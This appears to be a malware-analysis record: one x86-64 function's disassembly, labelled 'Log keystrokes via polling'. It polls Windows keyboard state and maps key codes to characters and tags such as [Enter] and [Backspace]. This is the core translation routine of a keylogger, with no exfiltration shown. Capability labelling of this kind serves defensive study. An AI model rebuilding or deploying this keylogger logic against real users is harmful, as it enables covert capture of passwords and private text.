Function at 0x140001950
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x160
mov rax, qword [0x14001f040]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov esi, edx
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor r14d, r14d
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetKeyboardState]
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
movzx edi, ax
shr edi, 0xf
and dil, 1
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
movzx ebp, ax
and bpl, 1
mov ecx, 0xa5
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x1400019db
mov ecx, 0xa2
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x1400019db
mov r8b, 1
jmp 0x1400019de
xor r8b, r8b
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x14001bc10]
movdqu xmmword [rsp + 0x40], xmm1
mov byte [rsp + 0x30], r14b
lea eax, [rsi - 0x41]
cmp eax, 0x19
ja 0x140001a6a
test bpl, bpl
je 0x140001a5f
test dil, dil
jne 0x140001a64
movups xmmword [rsp + 0x30], xmm0
movdqa xmm1, xmmword [0x14001bc20]
movsx eax, sil
movzx eax, al
mov byte [rsp + 0x30], al
mov byte [rsp + 0x31], 0
movups xmm2, xmmword [rsp + 0x30]
movups xmmword [rbx], xmm2
movups xmmword [rbx + 0x10], xmm1
mov rax, rbx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140002770
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
test dil, dil
jne 0x140001a0b
add sil, 0x20
jmp 0x140001a0b
cmp esi, 0x30
jb 0x140001a74
cmp esi, 0x39
jbe 0x140001a0b
add esi, 0xfffffff8
cmp esi, 0xda
ja case.0x140001a9a.10
lea r9, [0x140000000]
movzx ecx, byte [r9 + rsi + 0x1eec]
mov edx, dword [r9 + rcx*4 + 0x1e88]
add rdx, r9
jmp rdx
lea rax, [0x14001bb24]
lea rdx, [0x14001bb28]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
test r8b, r8b
je 0x140001ad7
lea rdx, str.__2________.
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
lea rax, [0x14001bb30]
lea rdx, [0x14001bb34]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
lea rax, [0x14001bb38]
lea rdx, [0x14001bb3c]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
lea rax, [0x14001bb40]
lea rdx, [0x14001bb44]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
lea rcx, [0x14001bb48]
lea rdx, [0x14001bb4c]
test dil, dil
cmovne rdx, rcx
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
lea rax, [0x14001bb50]
lea rdx, [0x14001bb54]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
lea rax, [0x14001bb30]
lea rdx, [0x14001bb58]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
lea rax, [0x14001bb5c]
lea rdx, [0x14001bb60]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
lea rcx, [0x14001bb64]
lea rdx, [0x14001bb68]
test dil, dil
cmovne rdx, rcx
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
lea rax, [0x14001bb6c]
lea rdx, [0x14001bb70]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
lea rax, [0x14001bb74]
lea rdx, [0x14001bb78]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 9
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Enter_]
movsd qword [rbx], xmm0
movzx eax, byte [0x14001bb88]
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
jmp 0x140001a34
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xa
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Delete_]
movsd qword [rbx], xmm0
movzx eax, word [0x14001bb98]
mov word [rbx + 8], ax
mov byte [rbx + 0xa], 0
jmp 0x140001a34
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xb
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Windows_]
movsd qword [rbx], xmm0
movzx eax, word [0x14001bba8]
mov word [rbx + 8], ax
movzx eax, byte [0x14001bbaa]
mov byte [rbx + 0xa], al
mov byte [rbx + 0xb], 0
jmp 0x140001a34
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 0xd
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Backspace_]
movsd qword [rbx], xmm0
mov eax, dword [0x14001bbb8]
mov dword [rbx + 8], eax
movzx eax, byte [0x14001bbbc]
mov byte [rbx + 0xc], al
mov byte [rbx + 0xd], 0
jmp 0x140001a34
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], 0xf
mov rax, qword [str.__Alt_]
mov dword [rbx], eax
movzx eax, word [0x14001bbc4]
mov word [rbx + 4], ax
movzx eax, byte [0x14001bbc6]
mov byte [rbx + 6], al
mov byte [rbx + 7], 0
jmp 0x140001a34
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 7
mov qword [rbx + 0x18], 0xf
mov rax, qword [str.__Tab_]
mov dword [rbx], eax
movzx eax, word [0x14001bbcc]
mov word [rbx + 4], ax
movzx eax, byte [0x14001bbce]
mov byte [rbx + 6], al
mov byte [rbx + 7], 0
jmp 0x140001a34
lea rdx, str.__Space_
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 6
mov qword [rbx + 0x18], 0xf
mov eax, dword [str.__Up_]
mov dword [rbx], eax
movzx eax, word [0x14001bbe0]
mov word [rbx + 4], ax
mov byte [rbx + 6], 0
jmp 0x140001a34
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
mov qword [rbx + 0x18], 0xf
movabs rax, 0x205d6e776f445b20
mov qword [rbx], rax
mov byte [rbx + 8], 0
jmp 0x140001a34
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 8
mov qword [rbx + 0x18], 0xf
movabs rax, 0x205d7466654c5b20
mov qword [rbx], rax
mov byte [rbx + 8], 0
jmp 0x140001a34
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], 9
mov qword [rbx + 0x18], 0xf
movsd xmm0, qword [str.__Right_]
movsd qword [rbx], xmm0
movzx eax, byte [0x14001bbf0]
mov byte [rbx + 8], al
mov byte [rbx + 9], 0
jmp 0x140001a34
lea rax, [0x14001bb4c]
lea rdx, [0x14001bb64]
test r8b, r8b
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34
lea rax, [0x14001bbf4]
lea rdx, [0x14001bbf6]
test dil, dil
cmovne rdx, rax
mov rcx, rbx
call fcn.140001240
jmp 0x140001a34